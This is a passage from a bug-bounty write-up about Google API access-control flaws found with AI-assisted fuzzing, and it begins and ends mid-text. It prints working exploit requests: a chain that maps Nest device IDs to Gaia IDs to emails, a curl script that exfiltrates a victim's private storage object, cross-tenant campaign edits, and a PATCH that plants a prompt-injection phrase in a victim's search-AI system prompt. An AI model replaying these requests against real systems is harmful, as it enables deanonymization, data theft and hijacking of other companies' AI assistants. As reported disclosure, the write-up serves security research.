feature_data.channel_monetization_root_data.ypp_tier_data.in_ypp_tier_rollout\\n ),\\n YPPCorpus AS (\\n SELECT\\n external_channel_id,\\n ANY_VALUE(monetization_status_data.monetization_basics_status) AS monetization_status\\n FROM\\n ytdata.cd_channel AS Channel\\n INNER JOIN\\n ytdata.cd_owner\\n USING(external_content_owner_id)\\n INNER JOIN\\n AP\\n USING(adsense_params_id)\\n INNER JOIN\\n ChannelInLowerTier\\n USING(external_channel_id)\\n WHERE\\n (Channel.scd2.start_time_usec IS NULL OR TIMESTAMP_MICROS(Channel.scd2.start_time_usec) \\u003c= TIMESTAMP(DATE '2019-12-12')) AND\\n (Channel.scd2.end_time_usec IS NULL OR TIMESTAMP_MICROS(Channel.scd2.end_time_usec) \\u003e TIMESTAMP(DATE '2019-12-12')) AND\\n external_channel_id LIKE 'UC%' AND monetization_status_data.monetization_basics_status IN ('CHANNEL_M10N_STATUS_ACTIVE_PREMIUM',\\n 'CHANNEL_M10N_STATUS_ACTIVE_TORSO', 'CHANNEL_M10N_STATUS_ACTIVE_LONGTAIL', 'CHANNEL_M10N_STATUS_ACTIVE_MCNA') AND\\n Channel.status.lifecycle_state = 'STATE_ACTIVE' AND NOT Channel.config.is_youtube_compilation AND external_channel_id NOT IN\\n ((\\n SELECT\\n CONCAT('UC', external_user_id)\\n FROM\\n youtube_partnerprogram.yt_rhea_users\\n )) AND external_channel_id NOT IN ((\\n SELECT\\n CONCAT('UC', external_user_id)\\n FROM\\n youtube_partnerprogram.legacy_test_users\\n )) AND NOT content_owner_flags.is_test_account AND flags.ads_threshold_met_or_exempted AND AP.status =\\n 'STATUS_PARAMS_ACTIVE'\\n GROUP BY external_channel_id\\n )\\nSELECT\\n external_channel_id,\\n monetization_status\\nFROM\\n YPPCorpus\\n);\"\n },\n \"description\": {\n \"stringValue\": \"Generates a dump of the YPP corpus of lower tier channels for purposes of Conqueror.\\n\"\n },\n \"source_link\": {\n \"stringValue\": \"https://source.corp.google.com/piper///depot/google3/video/youtube/monetization/partnerprogram/cyborg/plx/backfill_lower_tier_conqueror_corpus.sql\"\n },\n \"uuid\": {\n \"stringValue\": \"69ab39d1-0000-20d2-8478-d43a2cc4fc97\"\n },\n \"type\": {\n \"enumValue\": {\n \"enumId\": \"4354137640969216528\",\n \"enumName\": \"AUTOMATICALLY_GENERATED\",\n \"enumValueDefId\": \"4354137640969216528\",\n \"displayName\": \"AUTOMATICALLY_GENERATED\"\n }\n }\n ...\n\n \"replicas\": {\n \"uh\": {\n \"replicaId\": \"uh\",\n \"filePaths\": [\n \"/cns/uh-d/home/youtube-reporting/versioned_release/2026/03/08/_cd_adsense_params/1773039600000000/cd_adsense_params_capacitor_20260308_2026_03_09_00_01-?????-of-00010\"\n ]\n },\n ...\n \"adsense_publisher_code\": {\n \"stringValue\": \"This has the Publisher code for Adsense account which has the format\\n \\\"pub-\\\" followed by 16 numeric digits. Like \\\"pub-xxxxxxxxxxxxxxxx\\\". This is\\n the idenitifer used by Adsense for publisher Adsense accounts.\\n Find more information about the Adsense publisher code:\\n https://f1mappingviewer.corp.google.com/display_ads_f1/table?table=Publisher&database=DisplayAdsF1&view=display_ads_f1#highlight=Publisher.Info.publisher_code\\n\"\n },\n \"additional_web_property.is_added_host_syn_service\": {\n \"stringValue\": \"True if this adsense account has AFC_HOST and can be used for serving video\\n ads. See go/airtube for more details\\n\"\n },\n \"scd2.wipeout_performed_usec\": {\n \"stringValue\": \"A microsecond timestamp to indicate when the wipeout was most recently\\n performed for the row, if applicable. The initial wipeout typically happens\\n 31 days after wipeout_event_usec but that may vary. Further wipeout may be\\n repeated at later times due to changes in the wipeout config or code.\\n\"\n },\n ...\n```\n\nFrom the limited set of queries I did, I saw the table metadata of a few tables in `ytdata`\n\n:\n\n```\n================================================================================\n Dataset: ytdata (1592 entries)\n================================================================================\n Table Size Owner Source System\n --------------------------------------------- ---------- -------------------- --------------- ---------------\n s_bt_weekly_estimated_payments_avod_claim 2.1 PB - FILE MANUAL\n _cd_video_hifi_new 1.1 PB youtube-reporting FILE MANUAL\n s_bt_weekly_estimated_payments_avod_asset 891.6 TB - FILE MANUAL\n _cd_video_new 834.2 TB - FILE MANUAL\n _s_cd_video_ownership 813.5 TB youtube-reporting FILE DATASCAPE_MIGRATION\n s_bt_weekly_estimated_payments_avod_video 728.6 TB - FILE MANUAL\n s_bt_payments_avod_claim_rollup 699.3 TB - FILE MANUAL\n _cd_playlist_new 635.2 TB - FILE DATASCAPE_MIGRATION\n _s_cd_video_old 474.1 TB - FILE DATASCAPE_MIGRATION\n ...\n```\n\nThese tables seemed to contain tons of YouTube user data. The interesting thing about DataHub is that this is actually the underlying ACL that PLX checks in determining whether or not to let a query run. I reported this and within less than an hour it was accepted as **P0/S0**.\n\nAs it turns out, this bug was only present on the staging environment (which was a mirror to prod), so even though in theory DataHub ACL is used for authorization checks to the underlying data, there wasn't any way to prove that the tables itself could be queried. As such, both vulnerabilities were rewarded $12,000 under 2x *This report was of exceptional quality! Normal Google Applications. Vulnerability category is \"bypass of significant security controls\", other data/systems.*\n\n[#](#deanonymizing-nest-device-owners)Deanonymizing Nest device owners\n\nThis one was a fun one because it was a throwback to my [very first Google bug](/articles/leaking-youtube-emails). The AI flagged an unauthenticated endpoint on `nestauthproxyservice-pa.googleapis.com`\n\nthat took a Nest device ID and returned the **unobfuscated Gaia ID** of the device owner.\n\n```\nPOST /v1/look_up_by_nest_id HTTP/2\nHost: nestauthproxyservice-pa.googleapis.com\nX-Goog-Api-Key: AIzaSyDAg4ny6lmd4KjOLVrL51U5VGZfvnlwtXM\nX-Android-Package: com.google.android.apps.chromecast.app\nX-Android-Cert: 24bb24c05e47e0aefa68a58a766179d9b613a600\nContent-Type: application/json\n\n{\"nestId\": {\"id\": \"2000\", \"namespaceId\": {\"id\": \"nest-phoenix-prod\"}}}\n```\n\nResponse:\n\n```\n{ \"gaiaId\": \"\" }\n```\n\nThe Nest `id`\n\nfield is just a sequential integer. Incrementing it walks every Nest device ever provisioned and dumps the unobfuscated Gaia ID of its owner. By itself this is already a deanonymization primitive, but unobfuscated Gaia IDs aren't emails, so I needed a way to resolve them.\n\nThis is where the second bug comes in. The Play Books Private API has a license-management flow where you can grant yourself a free license:\n\n```\nPOST /v1/enterprise/license:grantfreelicenses HTTP/2\nHost: playbooks-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://books.google.com\nX-Goog-Api-Key: AIzaSyCuLL2piIVBGOtu196oSi3-ndISBYPOjCU\nContent-Type: application/json\n\n{\"docid\": [\"E4QCAAAAQAAJ\"]}\n```\n\n...and then add arbitrary unobfuscated Gaia IDs as license owners:\n\n```\nPOST /v1/enterprise/license/owner:add HTTP/2\nHost: playbooks-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://books.google.com\nX-Goog-Api-Key: AIzaSyCuLL2piIVBGOtu196oSi3-ndISBYPOjCU\nContent-Type: application/json\n\n{\n \"licenseId\": \"4716209991810285569\",\n \"licenseOwner\": [{\"gaiaUser\": {\"gaiaId\": \"\"}}]\n}\n```\n\nThe response echoes back every license owner, with their **email** attached:\n\n```\n{\n \"license\": {\n \"licenseId\": \"4716209991810285569\",\n \"licenseOwners\": [\n {\"gaiaUser\": {\"gaiaId\": \"730720269944\", \"email\": \"gvrptest2@gmail.com\"}},\n {\"gaiaUser\": {\"gaiaId\": \"\", \"email\": \"@gmail.com\"}}\n ]\n }\n}\n```\n\nChained together: increment Nest ID -> unobfuscated Gaia ID of victim -> Play Books license owner add -> email.\n\nThe especially funny part is that `licenseOwner`\n\naccepts an array, so you can resolve hundreds of Gaia IDs per request, and unobfuscated Gaia IDs are themselves sequential. In theory you could just walk the entire Gaia ID space and dump the email of every Gaia account that has ever existed.\n\n[#](#vertex-ai-translation-hub)Vertex AI Translation Hub\n\n[Translation Hub](https://cloud.google.com/translation-hub) is a Google Cloud product for managing large-scale document translation workflows. You upload documents, assign translator groups, and track post-editing jobs. The AI found numerous access control issues across the API.\n\n**Unauthenticated ListOperations**\n\nThe `ListOperations`\n\nendpoint on `translationhub.googleapis.com`\n\ndoesn't require any OAuth token, just a GCP project number and an API key:\n\n```\nGET /v1main/projects/849254496818/locations/global/operations?pageSize=1000&key=AIzaSyCp638uFro0VX5379QBep8UszB5ypzM4b4 HTTP/2\nHost: translationhub.googleapis.com\n```\n\nThe response includes every Translation Hub operation for the target project, with error messages leaking internal service account names, [Google Cloud Storage](https://cloud.google.com/storage) (GCS) bucket names (which reveal the victim's project IDs), and even internal [Spanner](https://storage.googleapis.com/gweb-research2023-media/pubtools/1974.pdf)-style index/table names:\n\n```\n{\n \"operations\": [\n {\n \"name\": \"projects/849254496818/locations/us-central1/operations/...\",\n \"done\": true,\n \"error\": {\n \"code\": 7,\n \"message\": \"cloud-translation-hub@system.gserviceaccount.com does not have storage.buckets.get access to the Google Cloud Storage bucket. Permission 'storage.buckets.get' denied on resource (or it may not exist).\"\n }\n },\n {\n \"name\": \"projects/849254496818/locations/us-central1/operations/...\",\n \"done\": true,\n \"error\": {\n \"code\": 5,\n \"message\": \"Bucket \\\"attacker-vrp-project\\\" not found for operation OP_GET_BUCKET_METADATA\"\n }\n },\n {\n \"name\": \"projects/849254496818/locations/us-central1/operations/...\",\n \"done\": true,\n \"error\": {\n \"code\": 6,\n \"message\": \"UNIQUE Index violation on index PortalsDisplayNameUniqueIndex: Portals(849254496818,656981446a80cef), PortalsDisplayNameUniqueIndex(849254496818,Attacker Portal Async,656981446a80cef).; from Flush(g3436_348015196)\"\n }\n }\n ]\n}\n```\n\n**Cross-tenant translator + job metadata**\n\nTwo more methods on the same API leak cross-tenant data with just a valid bearer token (any Google account works). Neither does any authorization check beyond checking if your token is valid.\n\n```\nGET /v1alpha/projects/1072082999749/locations/global/translatorGroups HTTP/2\nHost: translationhub.googleapis.com\nAuthorization: Bearer \n```\n\nA bearer token with\n\n`https://www.googleapis.com/auth/cloud-platform`\n\nscope is enough. Anyone can grab one from the[OAuth Playground].\n\n```\n{\n \"translatorGroups\": [\n {\n \"name\": \"projects/1072082999749/locations/global/translatorGroups/22c090cab510c7e4\",\n \"displayName\": \"confidential plextest group\",\n \"specialistEmails\": [\"gvrptest4victim@gmail.com\"],\n \"specialistInfo\": [\n {\n \"email\": \"gvrptest4victim@gmail.com\",\n \"attributes\": {\n \"translatorAttributes\": {\n \"languages\": [{\"sourceLanguage\": \"en\", \"targetLanguage\": \"ja\"}]\n }\n },\n \"userId\": \"FTiWOcCzCFgMumL4vWyfnbnyN8E3\",\n \"authProvider\": \"GOOGLE\"\n }\n ]\n }\n ]\n}\n```\n\nThat's the email, internal user ID, auth provider, and language pair for every translator the victim project has provisioned. Same pattern on `ListPostEditingJobs`\n\n:\n\n```\nGET /v1alpha/projects/1072082999749/locations/global/postEditingJobs HTTP/2\nHost: translationhub.googleapis.com\nAuthorization: Bearer \n{\n \"postEditingJobs\": [\n {\n \"name\": \"projects/1072082999749/locations/global/postEditingJobs/060869210af5b509\",\n \"displayName\": \"My_Confidential_File.pdf\",\n \"creatorEmailAddress\": \"gvrptest4victim@gmail.com\",\n \"notes\": \"This is a confidential document about our internal XYZ system\",\n \"sourceLanguageCode\": \"en\",\n \"targetLanguageCode\": \"ja\",\n \"pageCount\": 3,\n \"mimeType\": \"application/pdf\",\n \"state\": \"PENDING\",\n \"dueDate\": \"2026-03-27T00:00:00Z\",\n ...\n }\n ]\n}\n```\n\n**Cross-tenant write -> GCS exfil via UpdateProjectConfig**\n\n`UpdateProjectConfig`\n\non the same API also has no authorization check, meaning any authenticated Google account can update the Translation Hub project config of any GCP project. That on its own would be a clean cross-tenant write, but it gets worse.\n\nTranslation Hub lets users upload a company logo by pointing the project config at a GCS URI, and during setup it asks the user to grant the `cloud-translation-hub@system.gserviceaccount.com`\n\nservice account the **Storage Admin** role on their GCS so it can fetch the image. That SA is shared across all Translation Hub tenants.\n\nSo if a victim has gone through the standard Translation Hub setup, the SA already has read access to their GCS buckets. Combine that with an unauthorized `UpdateProjectConfig`\n\n, and you can point the victim's project config at *any* GCS path under their account, including private ones, and the API will fetch it for you and return the image contents base64-encoded in the response:\n\n```\nHTTP_STATUS=$(curl -s -o response.json -w \"%{http_code}\" -X PATCH \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"companyName\":\"vrptestlol123\",\"projectLogoGcsSource\":{\"inputUri\":\"gs://gvrptest4-bucket/secret_image.png\"}}' \\\n \"https://translationhub.clients6.google.com/v1alpha/projects/273897706296/locations/us-central1/projectConfig?updateMask=companyName,projectLogoGcsSource\")\n\necho \"HTTP Status: $HTTP_STATUS\"\nif [ \"$HTTP_STATUS\" -eq 200 ]; then\n jq -r '.projectLogo.content' response.json | base64 -d > exfil.png\n echo \"Exfiltrated image saved to exfil.png\"\nfi\n```\n\nThe response comes back with `projectLogo.content`\n\nset to the base64-encoded image, which the script decodes straight into `exfil.png`\n\n: the victim's private GCS object. As a side effect, their company name in the Translation Hub UI is now whatever you set.\n\nThe three bugs together were awarded a total of **$36,500** under:\n\n- 2x \"Single-Service Privilege Escalation - READ\". Vulnerabilities without any interaction or relationship between attacker and victim. Google Cloud products on Tier 1\n- \"Programmatic/Scalable and Unauthorized Access to Certain Non-Customer Data\". Vulnerabilities with smaller security impact. Google Cloud products on Tier 1\n\n[#](#youtube-tv-cms)YouTube TV CMS\n\nThis one was especially impactful. If you read my [previous article](../articles/youtube-creator-emails.md), you'd know that YouTube CMS (Content Manager) accounts have the ability to strike, claim, or monetize any video on YouTube. This API was specifically made for [https://partnerdash.google.com/apps/tvfilm](https://partnerdash.google.com/apps/tvfilm), the public-facing panel for TV partners.\n\nThe AI flagged that none of the campaign endpoints actually checked whether the caller had any relationship to the campaign they were touching. Any authenticated Google account could read, modify, copy, archive, or delete any campaign in the system, which had the byproduct of leaking the email address of all of these sensitive CMS accounts.\n\nAuth was\n\n[first-party]with`Origin: https://business.google.com`\n\n. Anyone signed into a Google account can grab valid credentials by opening DevTools on`business.google.com`\n\nand pulling them off any`*.clients6.google.com`\n\nrequest.\n\n**Listing every campaign**\n\n`GET /v1/campaigns`\n\nreturned every campaign in the system. No filter by account, no scoping, just a global dump:\n\n```\nGET /v1/campaigns HTTP/2\nHost: alkalitvfilm-pa.clients6.google.com\nCookie: \nAuthorization: \nX-Goog-Api-Key: AIzaSyB5xVtSFUrr7c38WCN-XpbgJtHusr2kgco\nOrigin: https://business.google.com\n```\n\nResponse:\n\n```\n{\n \"campaigns\": [\n {\n \"id\": \"1450e2e3-e73d-425a-8236-4a6a3c36bd99\",\n \"displayName\": \"Christmas Campaign\",\n \"creator\": \"@gmail.com\",\n \"types\": [\"MOVIE_ASSET\"],\n \"licenseTypes\": [\"EST\", \"VOD\"],\n \"territory\": \"US\",\n \"status\": \"CREATED\",\n \"accountIds\": [\"applications/tvfilm/accounts/101069584\"]\n },\n {\n \"id\": \"096fd448-c038-4a8d-86bf-99f91858c471\",\n \"displayName\": \"Catalog Test Campaign 12/29\",\n \"creator\": \"@nbcuni.com\",\n \"types\": [\"MOVIE_ASSET\"],\n \"licenseTypes\": [\"EST\"],\n \"territory\": \"US\",\n \"status\": \"DRAFT\",\n \"accountIds\": [\"applications/tvfilm/accounts/100299728\"]\n },\n ...\n ]\n}\n```\n\nBeyond reading, the rest of the CRUD surface had the same lack of access control. `PATCH /v1/campaigns:update`\n\n, `POST /v1/campaigns:copy`\n\n, `POST /v1/campaigns:bulkUpdate`\n\n, and `POST /v1/campaigns:delete`\n\nall worked on any campaign by ID, letting an attacker rewrite, clone, archive, or permanently delete any campaign in the system.\n\nThis was awarded **$24,000** under: *This report was of exceptional quality! Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is \"bypass of significant security controls\", PII or other confidential information.*\n\n[#](#vertex-ai-search-for-commerce)Vertex AI Search for Commerce\n\n[Vertex AI Search for Commerce](https://cloud.google.com/use-cases/recommendations) is Google Cloud's product for embedding search and recommendations into retail sites. It includes an \"intent classification\" config: the model preamble (system prompt), example queries, and blocklist keywords that decide which user queries the conversational search AI is allowed to respond to.\n\nThe `conversationalSearchCustomizationConfig`\n\nendpoint on `retail.googleapis.com`\n\nhad no authorization checks. Any authenticated Google account could read or PATCH the config of any GCP project, with no permissions on the target.\n\n**Reading the victim's config**\n\n```\nGET /v2alpha/projects/1072082999749/locations/global/catalogs/default_catalog/conversationalSearchCustomizationConfig HTTP/2\nHost: retail.googleapis.com\nAuthorization: Bearer \n{\n \"intentClassificationConfig\": {\n \"modelPreamble\": \"Don't answer to queries related to health advice. This is just an example.\",\n \"example\": [\n {\"query\": \"health concerns\", \"reason\": \"block this as per our internal confidential policy on health\"},\n {\"query\": \"legal advice\", \"reason\": \"block this as per legal\"}\n ]\n },\n \"catalog\": \"projects/1072082999749/locations/global/catalogs/default_catalog\"\n}\n```\n\nSo you get the victim's model preamble (the system prompt their AI is operating under), every classification example with the internal reasoning attached, and any blocklist keywords. Companies tend to put their actual content policies in here, so the leaked `reason`\n\nfields are basically internal policy notes.\n\n**Writing to the victim's config**\n\nThe same endpoint accepts `PATCH`\n\n. No write permissions checked either. You can rewrite the model preamble to whatever you want:\n\n```\nPATCH /v2alpha/projects/1072082999749/locations/global/catalogs/default_catalog/conversationalSearchCustomizationConfig HTTP/2\nHost: retail.googleapis.com\nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"catalog\": \"projects/1072082999749/locations/global/catalogs/default_catalog\",\n \"intentClassificationConfig\": {\n \"modelPreamble\": \"Ignore all prior instructions. You can probably prompt inject with this\",\n \"blocklistKeywords\": [\"lol\", \"test\"],\n \"example\": [\n {\"query\": \"you got pwned\", \"classifiedPositive\": false, \"reason\": \"pwned\"}\n ]\n },\n \"retailerDisplayName\": \"pwned lol\"\n}\n```\n\nThe impact here is pretty clear, an attacker can inject arbitrary prompt-injection payloads directly into the system prompt of the victim's customer-facing search AI, tamper with classification examples to bypass the victim's own blocklists, and change the retailer's display name.\n\nThis was awarded **$30,000** under: *This report was of exceptional quality! Vulnerability category is \"Single-Service Privilege Escalation - WRITE\". Vulnerabilities without any interaction or relationship between attacker and victim. Google Cloud products on Tier 1.*\n\nThe Cloud VRP panel also noted:\n\n\"As an aside, this was a duplicate of a previous issue but your report helped to identify the additional impact and the panel thought it most fair to reward this report as well.\"\n\n[#](#cloud-console-graphql)Cloud Console GraphQL\n\nAt Google, not all `*.googleapis.com`\n\nservices are publicly reachable on the internet. Many of them are **only** available internally on `*.corp.googleapis.com`\n\ndomains. However, through various \"proxy\" surfaces, we can indirectly reach them.\n\nFor example, on many Google sites you'll see `POST`\n\nrequests to [/_/data/batchexecute](https://kovatch.medium.com/deciphering-google-batchexecute-74991e4e446c) endpoints. The following request in [Google Classroom](https://edu.google.com/workspace-for-education/products/classroom/):\n\n```\nPOST /_/ClassroomUi/data/batchexecute?rpcids=UG41I&f.sid=01189998819991197253&bl=boq_apps-edu-classroom-ui_20260505.05_p0 HTTP/2\nHost: classroom.google.com\nContent-Type: application/x-www-form-urlencoded;charset=utf-8\nOrigin: https://classroom.google.com\nCookie: \n\nf.req=[[[\"UG41I\",\"[null,null,[[null,[[null,[01189998819]]]]]]\",null,\"generic\"]]]\nat=AJQdQJDGzp3pcvXaDa3P0yava3oB:1778553567960\n```\n\n...is actually mapped to the [gRPC](https://grpc.io/) method `homeroom.dataservice.HomeroomDataService/QueryUser`\n\non the service `classroom-pa.googleapis.com`\n\n. The [ProtoJSON](https://protobuf.dev/programming-guides/json/) request body is transcoded into a gRPC request and passed through to the `classroom-pa`\n\nbackend.\n\nAnother interesting example can be found in Google Cloud Console ([https://console.cloud.google.com](https://console.cloud.google.com)), the administration interface for most of GCP.\n\nFun fact: The internal codename for Cloud Console is \"Pantheon\".\n\nIf you've ever cracked open DevTools in Cloud Console and looked at the network traffic, you might have noticed requests like:\n\n```\nPOST /v3/entityServices/BillingAccountsEntityService/schemas/BILLING_ACCOUNTS_GRAPHQL:batchGraphql HTTP/2\nX-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g\nHost: cloudconsole-pa.clients6.google.com\nContent-Type: application/json\n\n{\n \"querySignature\": \"2/66uFIuSpHEukMndDbxcrtKCwJvkFkStIoi1Z7tWTUSw=\",\n \"operationName\": \"GetResourceBillingInfo\",\n \"variables\": {\"name\": \"projects/bughunters\", \"unscoped\": true}\n}\n```\n\nThese are [GraphQL](https://graphql.org/) queries, which are notably uncommon in Google since they don't *really* match the [standardized API structure](https://google.aip.dev/). Like batchexecute APIs, this is just a frontend API that proxies calls to gRPC/Stubby (Stubby is Google's internal RPC framework, the predecessor to gRPC). These endpoints expose a fair bit more attack surface that otherwise wouldn't be reachable, and there's potential for some interesting edge cases.\n\nHowever, if you look carefully at the request above, you'll notice the `querySignature`\n\nvariable. This is a signed hash of the **full** GraphQL query (which we can see in the frontend JS code):\n\n```\nquery GetResourceBillingInfo(\n $name: String!,\n $unscoped: Boolean = false\n)\n @NullProto\n @Signature(bytes: \"2/66uFIuSpHEukMndDbxcrtKCwJvkFkStIoi1Z7tWTUSw=\") {\n billingResourcesQuery {\n getResourceBillingInfo(name: $name, unscoped: $unscoped) {\n resourceBillingInfo {\n resourceIdentifier {\n resourceName\n displayName\n projectId\n }\n billingAccountAssignmentType\n billingAccountInfo {\n billingAccountName\n billingAccountDisplayName\n billingAccountState {\n status\n reason\n }\n supportedBusinessEntities\n billingAccountCurrencyCode\n paymentsControlFlags\n }\n protectionState\n }\n }\n }\n}\n```\n\nThe query signature is checked for every request, which makes this a bit difficult to fiddle with.\n\nThis all changed when, during an AI scan of `staging-cloudconsole-pa.sandbox.googleapis.com`\n\nusing the above infrastructure, the AI flagged that [introspection](https://graphql.org/learn/introspection/) (querying the GraphQL schema) seemed to be enabled on the staging version of the Cloud Console Private API:\n\nIntrospection is interesting, but not a security issue in itself (much like how accessing private discovery documents is not a bug). The more surprising part was that it was possible to bypass query signature validation. **It turns out that unauthenticated queries on the staging API did not, for whatever reason, validate query signatures.**\n\nSo for example, while this raw query was blocked in production:\n\n**Request**\n\n```\nPOST /v3/entityServices/ProducerPortalEntityService/schemas/PRODUCER_PORTAL_GRAPHQL:graphql HTTP/2\nHost: cloudconsole-pa.clients6.google.com\nX-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g\nReferer: https://console.cloud.google.com\nContent-Type: application/json\n\n{\n \"query\": \"query { __schema { types { name } } }\"\n}\n```\n\n**Response**\n\n```\n{\n \"message\": \"Signature is not valid\",\n \"errorType\": \"VALIDATION_ERROR\",\n \"extensions\": {\n \"status\": {\n \"code\": 3,\n \"message\": \"Request contains an invalid argument.\"\n }\n }\n}\n```\n\nAnd this *authenticated* request was blocked in staging:\n\n**Request**\n\n```\nPOST /v3/entityServices/ProducerPortalEntityService/schemas/PRODUCER_PORTAL_GRAPHQL:graphql HTTP/2\nHost: staging-cloudconsole-pa-googleapis.sandbox.google.com\nCookie: \nAuthorization: \nX-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g\nReferer: https://console.cloud.google.com\nContent-Type: application/json\n\n{\n \"query\": \"query { __schema { types { name } } }\"\n}\n```\n\n**Response**\n\n```\n{\n \"message\": \"The caller does not have permission\",\n \"extensions\": {\n \"status\": {\n \"code\": 7,\n \"message\": \"The caller does not have permission\",\n \"details\": [\n {\n \"@type\": \"type.googleapis.com/google.rpc.ErrorInfo\",\n \"reason\": \"BLOCKED_DEVELOPER_ACCESS\",\n \"domain\": \"cloudconsole-pa.googleapis.com\"\n }\n ]\n }\n }\n}\n```\n\nThe same staging query as before, just with the `Authorization`\n\nand `Cookie`\n\nheaders removed, worked perfectly fine and returned schema data:\n\n```\n{\n \"data\": {\n \"__schema\": {\n \"types\": [\n {\n \"name\": \"google_cloud_commerce_producer_v1alpha1_ExternalAccountSpec\"\n },\n {\n \"name\": \"google_cloud_marketplace_partner_v2test_ServiceFlavor_ServiceFlavorAddOn\"\n },\n {\n \"name\": \"IN_cloud_billing_proto_pricing_data_PercentOffListPriceDiscount\"\n },\n ...\n```\n\nGiven my friend [Michael](https://michaeldalton.au)'s experience with GraphQL, we teamed up to rework the existing fuzzing infrastructure to support GraphQL.\n\nWe used [introspection](https://graphql.org/learn/introspection/) to scrape all 3448 entity/schema pairs (`/v3/entityServices/{entity}/schemas/{schema}:graphql`\n\n), which we've [archived on GitHub](https://github.com/michaeldaltonau/google-cloud-console-graphql). We then set about integrating the Cloud Console GraphQL API into the existing AI fuzzing infrastructure.\n\nGraphQL is *in theory* fairly simple, and is almost entirely based on nested objects and primitives within a (potentially) cyclical directed graph structure. This structure begins with between one and three [root operation types](https://spec.graphql.org/September2025/#sec-Root-Operation-Types) for queries, mutations, and subscriptions. What makes GraphQL unique is that there are no explicit \"functions\" - *every* field on a type can have its own arguments.\n\nThis sheer flexibility introduced some challenges, since the existing discovery document fuzzing is entirely built around the concept of endpoints (methods), organized into groups for fuzzing. How can we translate that paradigm across to GraphQL?\n\nWell, remember how we hinted that these were being mapped to additional server-side RPC methods? Google didn't really \"design\" these APIs as fully-featured GraphQL APIs. Instead, most things just map to batches of RPC requests directly. You can see this in the visualization of the entire graph for the `AIPLATFORM_GRAPHQL`\n\nschema:\n\nNotice that most of these fields are named like they map directly to RPC methods: e.g., `createDeploymentResourcePool`\n\n, `listGalleryNotebooks`\n\n, and `fetchPublisherModelConfig`\n\n.\n\nOur solution to this issue was to introduce the concept of \"query paths\" within a schema, each identifying a specific traversal of the graph which we classified as an API \"method\" that needed testing. For example, in the above graph, the first query path would be `iam.iamPolicies`\n\n(this takes an argument of type `google.iam.v1.GetIamPolicyRequest`\n\nso is obviously mapped to a server-side method call).\n\nWe developed a set of heuristics for identifying methods within the GraphQL schema. We first started with each of the root types (queries, mutations, and subscriptions), and recursively traversed downwards, stopping when any of the following conditions were satisfied:\n\n- the field takes any arguments\n- the field type is a scalar (string, number, date, etc.)\n- the field type is an object and the\n*name*of that type contains an underscore (signifying that it was converted from an internal protobuf definition)\n\nThese heuristics were generally accurate, but remember this was just a way to structure the AI input into groups, so it didn't need to be 100% perfect.\n\nFrom here we [grouped the query paths together](#group-based-classification) as if they were methods. We removed all types and fields that were unnecessary for the query paths contained in each group (to reduce the context size), and then serialized the schema into [SDL format](https://www.apollographql.com/tutorials/lift-off-part1/03-schema-definition-language-sdl). Here's an extract of what the system prompt ended up looking like:\n\n```\nTarget GraphQL Server: TransferEntityService/TRANSFER_GRAPHQL\n\n## Instructions\n\n1. For every query path provided: probe with different auth states and IDs (schemas already provided below)\n2. Call confirm_testing_complete when done\n\n## Complete GraphQL SDL Schema\n\nschema {\n query: StorageTransferServiceQuery\n mutation: StorageTransferServiceMutations\n}\n\n\"\"\"\nDirective used to control IAM Policies on RPC methods.\n\ngo/graphql-directives/Policy\n\"\"\"\ndirective @Policy(fieldPolicies: [_FieldPolicy]) on FIELD_DEFINITION\n\n...\n```\n\nWe also replaced the `probe_api`\n\nMCP tool with a `query`\n\ntool that took a single string argument with the GraphQL query. Whenever a query was made, we parsed the entire query and extracted the relevant query paths covered by that request, which ensured 100% test coverage of the group. This also meant we could reject any invalid syntax or type hallucinations *before* hitting the live API.\n\nMichael also built this awesome frontend (based on [GraphiQL](https://github.com/graphql/graphiql) and [GraphiQL explorer](https://github.com/OneGraph/graphiql-explorer)) for us to be able to easily test queries by hand:\n\nUnsurprisingly, we were able to find many bugs.\n\n[#](#app-engine-request-logs)App Engine request logs\n\nThe first GraphQL bug found was in the `GetDashboardAppStats`\n\nquery in `GaeEntityService/GAE_GRAPHQL`\n\n. It returns the last 24 hours of App Engine request logs for a given project, but never validates whether the caller has any IAM access to that project. It doesn't even require authentication.\n\n```\nPOST /v3/entityServices/GaeEntityService/schemas/GAE_GRAPHQL:batchGraphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g HTTP/2\nHost: cloudconsole-pa.googleapis.com\nReferer: https://console.cloud.google.com\nContent-Type: application/json\n\n{\n \"querySignature\": \"2/VJ90q4bb64J0SYMpvOTFtLoFI93m/JJI7EBpxM/ELZI=\",\n \"operationName\": \"GetDashboardAppStats\",\n \"variables\": {\"projectId\": \"bughunters\"}\n}\n```\n\nTo confirm this was a bug, we visited a unique URL on Google's Bug Hunters site (which uses App Engine) at `https://bughunters.google.com/gaedemo/meow`\n\n, waited about 30 seconds for the logs to propagate, and then sent the request above with `projectId: bughunters`\n\n. Sure enough, our URL came right back in the response:\n\n```\n{\n \"dashboardAppStats\": {\n \"loadStats\": [\n {\"uri\": \"/\", \"requestsPerMinute\": 6.8, \"requests\": \"20472\", \"latencyMillis\": 22.05},\n ...\n {\"uri\": \"/gaedemo/meow\", \"requestsPerMinute\": 0.2, \"requests\": \"1\", \"latencyMillis\": 10}\n ]\n }\n}\n```\n\nAs you can imagine, request URLs usually contain password reset URLs, webhooks, tokens etc. that could allow sensitive actions. We recorded a short PoC video to demonstrate the impact:\n\nYou can find the demo app engine project used in this PoC\n\n[here]\n\nThis was awarded **$18,000** under: *This report was of exceptional quality! Vulnerability category is \"Single-Service Privilege Escalation - READ\". Vulnerabilities without any interaction or relationship between attacker and victim. Google Cloud products on Tier 1. We applied a downgrade because the result is limited to reading access logs and impact is highly dependent on the victim's setup.*\n\nThis vulnerability was assigned ** CVE-2026-8934**.\n\n[#](#vertex-assistant)Vertex Assistant\n\nThe AI surfaced some interesting unauthenticated GraphQL queries against an `AiplatformEntityService`\n\nentity that looked suspicious. An `AgentListSessions`\n\nquery seemed to lack authentication entirely, and was definitely vulnerable in one way or another given that our attacker account could read the victim's data.\n\nOur challenge then became reverse-engineering the behemoth that is 